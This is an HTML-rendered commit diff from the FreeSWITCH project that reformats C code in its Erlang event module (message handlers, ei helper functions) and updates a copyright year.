</span><del>-int ei_sendto(ei_cnode *ec, int fd, struct erlang_process *process, ei_x_buff *buf)
</del><ins>+int ei_sendto(ei_cnode * ec, int fd, struct erlang_process *process, ei_x_buff * buf)
</ins><span class="cx"> {
</span><span class="cx">         int ret;
</span><span class="cx">         if (process-&gt;type == ERLANG_PID) {
</span><span class="lines">@@ -273,19 +274,16 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> /* convert an erlang reference to some kind of hashed string so we can store it as a hash key */
</span><del>-void ei_hash_ref(erlang_ref *ref, char *output)
</del><ins>+void ei_hash_ref(erlang_ref * ref, char *output)
</ins><span class="cx"> {
</span><span class="cx">         /* very lazy */
</span><span class="cx">         sprintf(output, &quot;%d.%d.%d@%s&quot;, ref-&gt;n[0], ref-&gt;n[1], ref-&gt;n[2], ref-&gt;node);
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-int ei_compare_pids(erlang_pid *pid1, erlang_pid *pid2)
</del><ins>+int ei_compare_pids(erlang_pid * pid1, erlang_pid * pid2)
</ins><span class="cx"> {
</span><del>-        if ((!strcmp(pid1-&gt;node, pid2-&gt;node)) &amp;&amp;
-                        pid1-&gt;creation == pid2-&gt;creation &amp;&amp;
-                        pid1-&gt;num == pid2-&gt;num &amp;&amp;
-                        pid1-&gt;serial == pid2-&gt;serial) {
</del><ins>+        if ((!strcmp(pid1-&gt;node, pid2-&gt;node)) &amp;&amp; pid1-&gt;creation == pid2-&gt;creation &amp;&amp; pid1-&gt;num == pid2-&gt;num &amp;&amp; pid1-&gt;serial == pid2-&gt;serial) {
</ins><span class="cx">                 return 0;
</span><span class="cx">         } else {
</span><span class="cx">                 return 1;
</span><span class="lines">@@ -293,20 +291,22 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-int ei_decode_string_or_binary(char *buf, int *index, int maxlen, char *dst) {
</del><ins>+int ei_decode_string_or_binary(char *buf, int *index, int maxlen, char *dst)
+{
</ins><span class="cx">         int type, size, res;
</span><span class="cx">         long len;
</span><span class="cx"> 
</span><span class="cx">         ei_get_type(buf, index, &amp;type, &amp;size);
</span><span class="cx"> 
</span><span class="cx">         if (type != ERL_STRING_EXT &amp;&amp; type != ERL_BINARY_EXT) {
</span><del>-                return -1; 
</del><ins>+                return -1;
</ins><span class="cx">         } else if (size &gt; maxlen) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Requested decoding of %s with size %d into a buffer of size %d\n&quot;, type == ERL_BINARY_EXT ? &quot;binary&quot; : &quot;string&quot;, size, maxlen);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Requested decoding of %s with size %d into a buffer of size %d\n&quot;,
+                                                  type == ERL_BINARY_EXT ? &quot;binary&quot; : &quot;string&quot;, size, maxlen);
</ins><span class="cx">                 return -1;
</span><span class="cx">         } else if (type == ERL_BINARY_EXT) {
</span><span class="cx">                 res = ei_decode_binary(buf, index, dst, &amp;len);
</span><del>-                dst[len] = '\0'; /* binaries aren't null terminated */
</del><ins>+                dst[len] = '\0';                /* binaries aren't null terminated */
</ins><span class="cx">         } else {
</span><span class="cx">                 res = ei_decode_string(buf, index, dst);
</span><span class="cx">         }
</span><span class="lines">@@ -320,12 +320,12 @@
</span><span class="cx">         switch_status_t rv;
</span><span class="cx">         struct sockaddr_in server_addr;
</span><span class="cx">         struct hostent *nodehost;
</span><del>-        char thishostname[EI_MAXHOSTNAMELEN+1] = &quot;&quot;;
-        char thisnodename[MAXNODELEN+1];
</del><ins>+        char thishostname[EI_MAXHOSTNAMELEN + 1] = &quot;&quot;;
+        char thisnodename[MAXNODELEN + 1];
</ins><span class="cx"> 
</span><span class="cx">         /* zero out the struct before we use it */
</span><span class="cx">         memset(&amp;server_addr, 0, sizeof(server_addr));
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* convert the configured IP to network byte order, handing errors */
</span><span class="cx">         rv = switch_inet_pton(AF_INET, prefs.ip, &amp;server_addr.sin_addr.s_addr);
</span><span class="cx">         if (rv == 0) {
</span><span class="lines">@@ -335,18 +335,18 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error when parsing ip address %s : %s\n&quot;, prefs.ip, strerror(errno));
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* set the address family and port */
</span><span class="cx">         server_addr.sin_family = AF_INET;
</span><span class="cx">         server_addr.sin_port = htons(prefs.port);
</span><del>-        
</del><ins>+
</ins><span class="cx"> #ifdef WIN32
</span><del>-         if ((nodehost = gethostbyaddr((const char*)&amp;server_addr.sin_addr.s_addr, sizeof(server_addr.sin_addr.s_addr), AF_INET)))
</del><ins>+        if ((nodehost = gethostbyaddr((const char *) &amp;server_addr.sin_addr.s_addr, sizeof(server_addr.sin_addr.s_addr), AF_INET)))
</ins><span class="cx"> #else
</span><del>-        if ((nodehost = gethostbyaddr((const char*)&amp;server_addr.sin_addr.s_addr, sizeof(server_addr.sin_addr.s_addr), AF_INET)))
</del><ins>+        if ((nodehost = gethostbyaddr((const char *) &amp;server_addr.sin_addr.s_addr, sizeof(server_addr.sin_addr.s_addr), AF_INET)))
</ins><span class="cx"> #endif
</span><span class="cx">                 memcpy(thishostname, nodehost-&gt;h_name, EI_MAXHOSTNAMELEN);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr_buf(thishostname)) {
</span><span class="cx">                 gethostname(thishostname, EI_MAXHOSTNAMELEN);
</span><span class="cx">         }
</span><span class="lines">@@ -357,11 +357,11 @@
</span><span class="cx">                         *off = '\0';
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
-        snprintf(thisnodename, MAXNODELEN+1, &quot;%s@%s&quot;, prefs.nodename, thishostname);
-        
</del><ins>+
+        snprintf(thisnodename, MAXNODELEN + 1, &quot;%s@%s&quot;, prefs.nodename, thishostname);
+
</ins><span class="cx">         /* init the ei stuff */
</span><del>-        if (ei_connect_xinit(ec, thishostname, prefs.nodename, thisnodename, (Erl_IpAddr)(&amp;server_addr.sin_addr.s_addr), prefs.cookie, 0) &lt; 0) {
</del><ins>+        if (ei_connect_xinit(ec, thishostname, prefs.nodename, thisnodename, (Erl_IpAddr) (&amp;server_addr.sin_addr.s_addr), prefs.cookie, 0) &lt; 0) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Failed to init ei connection\n&quot;);
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodevent_handlersmod_erlang_eventhandle_msgc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/handle_msg.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/handle_msg.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/handle_msg.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -37,7 +37,7 @@
</span><span class="cx"> 
</span><span class="cx"> static char *MARKER = &quot;1&quot;;
</span><span class="cx"> 
</span><del>-static switch_status_t handle_ref_tuple(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf);
</del><ins>+static switch_status_t handle_ref_tuple(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf);
</ins><span class="cx"> 
</span><span class="cx"> static void *SWITCH_THREAD_FUNC api_exec(switch_thread_t *thread, void *obj)
</span><span class="cx"> {
</span><span class="lines">@@ -131,7 +131,7 @@
</span><span class="cx">                 } else {
</span><span class="cx">                         ei_x_encode_atom(&amp;rbuf, &quot;error&quot;);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 _ei_x_encode_string(&amp;rbuf, reply);
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -163,7 +163,7 @@
</span><span class="cx"> 
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_status_t  handle_msg_fetch_reply(listener_t *listener, ei_x_buff *buf, ei_x_buff *rbuf)
</del><ins>+static switch_status_t handle_msg_fetch_reply(listener_t *listener, ei_x_buff * buf, ei_x_buff * rbuf)
</ins><span class="cx"> {
</span><span class="cx">         char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
</span><span class="cx">         void *p;
</span><span class="lines">@@ -207,26 +207,24 @@
</span><span class="cx">                         ei_x_encode_atom(rbuf, &quot;invalid_uuid&quot;);
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                /*switch_core_hash_insert(listener-&gt;fetch_reply_hash, uuid_str, nbuf);*/
</del><ins>+                /*switch_core_hash_insert(listener-&gt;fetch_reply_hash, uuid_str, nbuf); */
</ins><span class="cx">                 switch_safe_free(nbuf-&gt;buff);
</span><span class="cx">                 switch_safe_free(nbuf);
</span><span class="cx">         }
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_status_t handle_msg_set_log_level(listener_t *listener, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
</del><ins>+static switch_status_t handle_msg_set_log_level(listener_t *listener, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
</ins><span class="cx"> {
</span><span class="cx">         switch_log_level_t ltype = SWITCH_LOG_DEBUG;
</span><span class="cx">         char loglevelstr[MAXATOMLEN];
</span><del>-        if (arity != 2 ||
-                ei_decode_atom(buf-&gt;buff, &amp;buf-&gt;index, loglevelstr)) {
</del><ins>+        if (arity != 2 || ei_decode_atom(buf-&gt;buff, &amp;buf-&gt;index, loglevelstr)) {
</ins><span class="cx">                 ei_x_encode_tuple_header(rbuf, 2);
</span><span class="cx">                 ei_x_encode_atom(rbuf, &quot;error&quot;);
</span><span class="cx">                 ei_x_encode_atom(rbuf, &quot;badarg&quot;);
</span><del>-        }
-        else {
</del><ins>+        } else {
</ins><span class="cx">                 ltype = switch_log_str2level(loglevelstr);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (ltype &amp;&amp; ltype != SWITCH_LOG_INVALID) {
</span><span class="cx">                         listener-&gt;level = ltype;
</span><span class="cx">                         ei_x_encode_atom(rbuf, &quot;ok&quot;);
</span><span class="lines">@@ -239,7 +237,7 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_status_t handle_msg_event(listener_t *listener, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
</del><ins>+static switch_status_t handle_msg_event(listener_t *listener, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
</ins><span class="cx"> {
</span><span class="cx">         char atom[MAXATOMLEN];
</span><span class="cx"> 
</span><span class="lines">@@ -247,19 +245,18 @@
</span><span class="cx">                 ei_x_encode_tuple_header(rbuf, 2);
</span><span class="cx">                 ei_x_encode_atom(rbuf, &quot;error&quot;);
</span><span class="cx">                 ei_x_encode_atom(rbuf, &quot;badarg&quot;);
</span><del>-        }
-        else {
</del><ins>+        } else {
</ins><span class="cx">                 int custom = 0;
</span><span class="cx">                 switch_event_types_t type;
</span><span class="cx">                 int i = 0;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!switch_test_flag(listener, LFLAG_EVENTS)) {
</span><span class="cx">                         switch_set_flag_locked(listener, LFLAG_EVENTS);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 for (i = 1; i &lt; arity; i++) {
</span><span class="cx">                         if (!ei_decode_atom(buf-&gt;buff, &amp;buf-&gt;index, atom)) {
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (custom) {
</span><span class="cx">                                         switch_core_hash_insert(listener-&gt;event_hash, atom, MARKER);
</span><span class="cx">                                 } else if (switch_name_event(atom, &amp;type) == SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -277,7 +274,7 @@
</span><span class="cx">                                         if (type == SWITCH_EVENT_CUSTOM) {
</span><span class="cx">                                                 custom++;
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                 }
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;enable event %s\n&quot;, atom);
</span><span class="cx">                         }
</span><span class="lines">@@ -287,7 +284,7 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_status_t handle_msg_nixevent(listener_t *listener, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
</del><ins>+static switch_status_t handle_msg_nixevent(listener_t *listener, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
</ins><span class="cx"> {
</span><span class="cx">         char atom[MAXATOMLEN];
</span><span class="cx"> 
</span><span class="lines">@@ -295,20 +292,19 @@
</span><span class="cx">                 ei_x_encode_tuple_header(rbuf, 2);
</span><span class="cx">                 ei_x_encode_atom(rbuf, &quot;error&quot;);
</span><span class="cx">                 ei_x_encode_atom(rbuf, &quot;badarg&quot;);
</span><del>-        }
-        else {
</del><ins>+        } else {
</ins><span class="cx">                 int custom = 0;
</span><span class="cx">                 int i = 0;
</span><span class="cx">                 switch_event_types_t type;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 for (i = 1; i &lt; arity; i++) {
</span><span class="cx">                         if (!ei_decode_atom(buf-&gt;buff, &amp;buf-&gt;index, atom)) {
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (custom) {
</span><span class="cx">                                         switch_core_hash_delete(listener-&gt;event_hash, atom);
</span><span class="cx">                                 } else if (switch_name_event(atom, &amp;type) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         uint32_t x = 0;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (type == SWITCH_EVENT_CUSTOM) {
</span><span class="cx">                                                 custom++;
</span><span class="cx">                                         } else if (type == SWITCH_EVENT_ALL) {
</span><span class="lines">@@ -332,19 +328,16 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_status_t handle_msg_api(listener_t *listener, erlang_msg *msg, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
</del><ins>+static switch_status_t handle_msg_api(listener_t *listener, erlang_msg * msg, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
</ins><span class="cx"> {
</span><span class="cx">         char api_cmd[MAXATOMLEN];
</span><span class="cx">         char arg[1024];
</span><del>-        if (arity &lt; 3 ||
-                ei_decode_atom(buf-&gt;buff, &amp;buf-&gt;index, api_cmd) ||
-                ei_decode_string(buf-&gt;buff, &amp;buf-&gt;index, arg)) {
</del><ins>+        if (arity &lt; 3 || ei_decode_atom(buf-&gt;buff, &amp;buf-&gt;index, api_cmd) || ei_decode_string(buf-&gt;buff, &amp;buf-&gt;index, arg)) {
</ins><span class="cx">                 ei_x_encode_tuple_header(rbuf, 2);
</span><span class="cx">                 ei_x_encode_atom(rbuf, &quot;error&quot;);
</span><span class="cx">                 ei_x_encode_atom(rbuf, &quot;badarg&quot;);
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><del>-        }
-        else {
</del><ins>+        } else {
</ins><span class="cx">                 struct api_command_struct acs = { 0 };
</span><span class="cx">                 acs.listener = listener;
</span><span class="cx">                 acs.api_cmd = api_cmd;
</span><span class="lines">@@ -357,24 +350,21 @@
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_status_t handle_msg_bgapi(listener_t *listener, erlang_msg *msg, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
</del><ins>+static switch_status_t handle_msg_bgapi(listener_t *listener, erlang_msg * msg, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
</ins><span class="cx"> {
</span><span class="cx">         char api_cmd[MAXATOMLEN];
</span><span class="cx">         char arg[1024];
</span><del>-        if (arity &lt; 3 ||
-                ei_decode_atom(buf-&gt;buff, &amp;buf-&gt;index, api_cmd) ||
-                ei_decode_string(buf-&gt;buff, &amp;buf-&gt;index, arg)) {
</del><ins>+        if (arity &lt; 3 || ei_decode_atom(buf-&gt;buff, &amp;buf-&gt;index, api_cmd) || ei_decode_string(buf-&gt;buff, &amp;buf-&gt;index, arg)) {
</ins><span class="cx">                 ei_x_encode_tuple_header(rbuf, 2);
</span><span class="cx">                 ei_x_encode_atom(rbuf, &quot;error&quot;);
</span><span class="cx">                 ei_x_encode_atom(rbuf, &quot;badarg&quot;);
</span><del>-        }
-        else {
</del><ins>+        } else {
</ins><span class="cx">                 struct api_command_struct *acs = NULL;
</span><span class="cx">                 switch_memory_pool_t *pool;
</span><span class="cx">                 switch_thread_t *thread;
</span><span class="cx">                 switch_threadattr_t *thd_attr = NULL;
</span><span class="cx">                 switch_uuid_t uuid;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_core_new_memory_pool(&amp;pool);
</span><span class="cx">                 acs = switch_core_alloc(pool, sizeof(*acs));
</span><span class="cx">                 switch_assert(acs);
</span><span class="lines">@@ -384,15 +374,15 @@
</span><span class="cx">                 acs-&gt;arg = switch_core_strdup(acs-&gt;pool, arg);
</span><span class="cx">                 acs-&gt;bg = 1;
</span><span class="cx">                 acs-&gt;pid = msg-&gt;from;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_threadattr_create(&amp;thd_attr, acs-&gt;pool);
</span><span class="cx">                 switch_threadattr_detach_set(thd_attr, 1);
</span><span class="cx">                 switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_uuid_get(&amp;uuid);
</span><span class="cx">                 switch_uuid_format(acs-&gt;uuid_str, &amp;uuid);
</span><span class="cx">                 switch_thread_create(&amp;thread, thd_attr, api_exec, acs, acs-&gt;pool);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 ei_x_encode_tuple_header(rbuf, 2);
</span><span class="cx">                 ei_x_encode_atom(rbuf, &quot;ok&quot;);
</span><span class="cx">                 _ei_x_encode_string(rbuf, acs-&gt;uuid_str);
</span><span class="lines">@@ -400,18 +390,17 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_status_t handle_msg_sendevent(listener_t *listener, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
</del><ins>+static switch_status_t handle_msg_sendevent(listener_t *listener, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
</ins><span class="cx"> {
</span><del>-        char ename[MAXATOMLEN+1];
-        char esname[MAXATOMLEN+1];
</del><ins>+        char ename[MAXATOMLEN + 1];
+        char esname[MAXATOMLEN + 1];
</ins><span class="cx">         int headerlength;
</span><span class="cx"> 
</span><span class="cx">         memset(esname, 0, MAXATOMLEN);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (ei_decode_atom(buf-&gt;buff, &amp;buf-&gt;index, ename) ||
</span><span class="cx">                 (!strncasecmp(ename, &quot;CUSTOM&quot;, MAXATOMLEN) &amp;&amp;
</span><del>-                 ei_decode_atom(buf-&gt;buff, &amp;buf-&gt;index, esname)) ||
-                ei_decode_list_header(buf-&gt;buff, &amp;buf-&gt;index, &amp;headerlength)) {
</del><ins>+                 ei_decode_atom(buf-&gt;buff, &amp;buf-&gt;index, esname)) || ei_decode_list_header(buf-&gt;buff, &amp;buf-&gt;index, &amp;headerlength)) {
</ins><span class="cx">                 ei_x_encode_tuple_header(rbuf, 2);
</span><span class="cx">                 ei_x_encode_atom(rbuf, &quot;error&quot;);
</span><span class="cx">                 ei_x_encode_atom(rbuf, &quot;badarg&quot;);
</span><span class="lines">@@ -420,29 +409,27 @@
</span><span class="cx">                 if (switch_name_event(ename, &amp;etype) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_event_t *event;
</span><span class="cx">                         if ((strlen(esname) &amp;&amp; switch_event_create_subclass(&amp;event, etype, esname) == SWITCH_STATUS_SUCCESS) ||
</span><del>-                                        switch_event_create(&amp;event, etype) == SWITCH_STATUS_SUCCESS) {
</del><ins>+                                switch_event_create(&amp;event, etype) == SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                                 char key[1024];
</span><span class="cx">                                 char value[1024];
</span><span class="cx">                                 int i = 0;
</span><span class="cx">                                 switch_bool_t fail = SWITCH_FALSE;
</span><span class="cx"> 
</span><del>-                                while(!ei_decode_tuple_header(buf-&gt;buff, &amp;buf-&gt;index, &amp;arity) &amp;&amp; arity == 2) {
</del><ins>+                                while (!ei_decode_tuple_header(buf-&gt;buff, &amp;buf-&gt;index, &amp;arity) &amp;&amp; arity == 2) {
</ins><span class="cx">                                         i++;
</span><del>-                                        if (ei_decode_string(buf-&gt;buff, &amp;buf-&gt;index, key) ||
-                                                ei_decode_string(buf-&gt;buff, &amp;buf-&gt;index, value)) {
</del><ins>+                                        if (ei_decode_string(buf-&gt;buff, &amp;buf-&gt;index, key) || ei_decode_string(buf-&gt;buff, &amp;buf-&gt;index, value)) {
</ins><span class="cx">                                                 fail = SWITCH_TRUE;
</span><span class="cx">                                                 break;
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, key, value);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (headerlength != i || fail) {
</span><span class="cx">                                         ei_x_encode_tuple_header(rbuf, 2);
</span><span class="cx">                                         ei_x_encode_atom(rbuf, &quot;error&quot;);
</span><span class="cx">                                         ei_x_encode_atom(rbuf, &quot;badarg&quot;);
</span><del>-                                }
-                                else {
</del><ins>+                                } else {
</ins><span class="cx">                                         switch_event_fire(&amp;event);
</span><span class="cx">                                         ei_x_encode_atom(rbuf, &quot;ok&quot;);
</span><span class="cx">                                 }
</span><span class="lines">@@ -452,43 +439,40 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_status_t handle_msg_sendmsg(listener_t *listener, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
</del><ins>+static switch_status_t handle_msg_sendmsg(listener_t *listener, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
</ins><span class="cx"> {
</span><span class="cx">         char uuid[SWITCH_UUID_FORMATTED_LENGTH + 1];
</span><span class="cx">         int headerlength;
</span><del>-                        
</del><ins>+
</ins><span class="cx">         if (ei_decode_string_or_binary(buf-&gt;buff, &amp;buf-&gt;index, SWITCH_UUID_FORMATTED_LENGTH, uuid) ||
</span><span class="cx">                 ei_decode_list_header(buf-&gt;buff, &amp;buf-&gt;index, &amp;headerlength)) {
</span><span class="cx">                 ei_x_encode_tuple_header(rbuf, 2);
</span><span class="cx">                 ei_x_encode_atom(rbuf, &quot;error&quot;);
</span><span class="cx">                 ei_x_encode_atom(rbuf, &quot;badarg&quot;);
</span><del>-        }
-        else {
</del><ins>+        } else {
</ins><span class="cx">                 switch_core_session_t *session;
</span><span class="cx">                 if (!zstr_buf(uuid) &amp;&amp; (session = switch_core_session_locate(uuid))) {
</span><del>-                        switch_event_t *event;          
</del><ins>+                        switch_event_t *event;
</ins><span class="cx">                         if (switch_event_create(&amp;event, SWITCH_EVENT_SEND_MESSAGE) == SWITCH_STATUS_SUCCESS) {
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 char key[1024];
</span><span class="cx">                                 char value[1024];
</span><span class="cx">                                 int i = 0;
</span><span class="cx">                                 switch_bool_t fail = SWITCH_FALSE;
</span><del>-                                while(!ei_decode_tuple_header(buf-&gt;buff, &amp;buf-&gt;index, &amp;arity) &amp;&amp; arity == 2) {
</del><ins>+                                while (!ei_decode_tuple_header(buf-&gt;buff, &amp;buf-&gt;index, &amp;arity) &amp;&amp; arity == 2) {
</ins><span class="cx">                                         i++;
</span><del>-                                        if (ei_decode_string(buf-&gt;buff, &amp;buf-&gt;index, key) ||
-                                                ei_decode_string(buf-&gt;buff, &amp;buf-&gt;index, value)) {
</del><ins>+                                        if (ei_decode_string(buf-&gt;buff, &amp;buf-&gt;index, key) || ei_decode_string(buf-&gt;buff, &amp;buf-&gt;index, value)) {
</ins><span class="cx">                                                 fail = SWITCH_TRUE;
</span><span class="cx">                                                 break;
</span><del>-                                        }                                        
</del><ins>+                                        }
</ins><span class="cx">                                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, key, value);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (headerlength != i || fail) {
</span><span class="cx">                                         ei_x_encode_tuple_header(rbuf, 2);
</span><span class="cx">                                         ei_x_encode_atom(rbuf, &quot;error&quot;);
</span><span class="cx">                                         ei_x_encode_atom(rbuf, &quot;badarg&quot;);
</span><del>-                                }
-                                else {
</del><ins>+                                } else {
</ins><span class="cx">                                         if (switch_core_session_queue_private_event(session, &amp;event, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                 ei_x_encode_atom(rbuf, &quot;ok&quot;);
</span><span class="cx">                                         } else {
</span><span class="lines">@@ -496,7 +480,7 @@
</span><span class="cx">                                                 ei_x_encode_atom(rbuf, &quot;error&quot;);
</span><span class="cx">                                                 ei_x_encode_atom(rbuf, &quot;badmem&quot;);
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                         /* release the lock returned by session locate */
</span><span class="lines">@@ -511,19 +495,17 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_status_t handle_msg_bind(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf)
</del><ins>+static switch_status_t handle_msg_bind(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf)
</ins><span class="cx"> {
</span><span class="cx">         /* format is (result|config|directory|dialplan|phrases)  */
</span><span class="cx">         char sectionstr[MAXATOMLEN];
</span><span class="cx">         switch_xml_section_t section;
</span><span class="cx"> 
</span><del>-        if (ei_decode_atom(buf-&gt;buff, &amp;buf-&gt;index, sectionstr) ||
-                !(section = switch_xml_parse_section_string(sectionstr))) {
</del><ins>+        if (ei_decode_atom(buf-&gt;buff, &amp;buf-&gt;index, sectionstr) || !(section = switch_xml_parse_section_string(sectionstr))) {
</ins><span class="cx">                 ei_x_encode_tuple_header(rbuf, 2);
</span><span class="cx">                 ei_x_encode_atom(rbuf, &quot;error&quot;);
</span><span class="cx">                 ei_x_encode_atom(rbuf, &quot;badarg&quot;);
</span><del>-        }
-        else {
</del><ins>+        } else {
</ins><span class="cx">                 struct erlang_binding *binding, *ptr;
</span><span class="cx"> 
</span><span class="cx">                 if (!(binding = switch_core_alloc(listener-&gt;pool, sizeof(*binding)))) {
</span><span class="lines">@@ -531,8 +513,7 @@
</span><span class="cx">                         ei_x_encode_tuple_header(rbuf, 2);
</span><span class="cx">                         ei_x_encode_atom(rbuf, &quot;error&quot;);
</span><span class="cx">                         ei_x_encode_atom(rbuf, &quot;badmem&quot;);
</span><del>-                }
-                else {
</del><ins>+                } else {
</ins><span class="cx">                         binding-&gt;section = section;
</span><span class="cx">                         binding-&gt;process.type = ERLANG_PID;
</span><span class="cx">                         binding-&gt;process.pid = msg-&gt;from;
</span><span class="lines">@@ -547,7 +528,7 @@
</span><span class="cx">                         } else {
</span><span class="cx">                                 bindings.head = binding;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_xml_set_binding_sections(bindings.search_binding, switch_xml_get_binding_sections(bindings.search_binding) | section);
</span><span class="cx">                         switch_mutex_unlock(globals.listener_mutex);
</span><span class="cx"> 
</span><span class="lines">@@ -564,13 +545,13 @@
</span><span class="cx">    or
</span><span class="cx">    {handlecall,&lt;uuid&gt;} to send messages back to the sender
</span><span class="cx">  */
</span><del>-static switch_status_t handle_msg_handlecall(listener_t *listener, erlang_msg *msg, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
</del><ins>+static switch_status_t handle_msg_handlecall(listener_t *listener, erlang_msg * msg, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
</ins><span class="cx"> {
</span><span class="cx">         char reg_name[MAXATOMLEN];
</span><span class="cx">         char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
</span><span class="cx"> 
</span><span class="cx">         if (arity &lt; 2 || arity &gt; 3 ||
</span><del>-                (arity==3 &amp;&amp; ei_decode_atom(buf-&gt;buff, &amp;buf-&gt;index, reg_name)) ||
</del><ins>+                (arity == 3 &amp;&amp; ei_decode_atom(buf-&gt;buff, &amp;buf-&gt;index, reg_name)) ||
</ins><span class="cx">                 ei_decode_string_or_binary(buf-&gt;buff, &amp;buf-&gt;index, SWITCH_UUID_FORMATTED_LENGTH, uuid_str)) {
</span><span class="cx">                 ei_x_encode_tuple_header(rbuf, 2);
</span><span class="cx">                 ei_x_encode_atom(rbuf, &quot;error&quot;);
